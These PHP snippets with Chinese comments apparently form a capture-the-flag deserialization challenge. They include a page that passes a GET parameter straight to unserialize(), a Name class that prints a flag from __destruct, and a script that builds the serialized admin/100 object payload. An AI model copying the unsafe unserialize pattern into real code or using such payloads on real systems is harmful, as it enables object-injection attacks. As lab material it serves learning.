<?php
include 'class.php';
//包涵class.php
$select = $_GET['select'];
//get一个传参
$res=unserialize(@$select);
//unserialize() 对单一的已序列化的变量进行操作，将其转换回 PHP 的值。

?>

<?php
include 'flag.php';
error_reporting(0);
//创建类并进行对象构造
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    //魔术方法:unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在，则会先调用 __wakeup 方法，预先准备对象需要的资源。
    function __wakeup(){
        $this->username = 'guest';
    }
    //魔术方法:
    /*
    Note: 如果子类中定义了构造函数则不会隐式调用其父类的构造函数。要执行父类的构造函数，需要在子类的构造函数中调用 
    parent::__construct()。如果子类没有定义构造函数则会如同一个普通的类方法一样从父类继承（假如没有被定义为 private 的话）。
    https://www.php.net/manual/zh/language.oop5.decon.php#object.destruct
    */
    function __destruct(){
        if ($this->password != 100) {
            //如果password 不等于100 该程序退出 die()同等于exit()
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            //username 等于admin 输出flag
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}

<?php
class Name
   //构造Name类
{
        private $username = "admin";
        //申明私有对象$username 
        private $password = 100;
        //申明私有对象$password
}
$user = new Name();
//实体化对象Name()
$str = urlencode(serialize($user));
//序列化并url编码$user
var_dump($str);
//输出变量相关信息
?>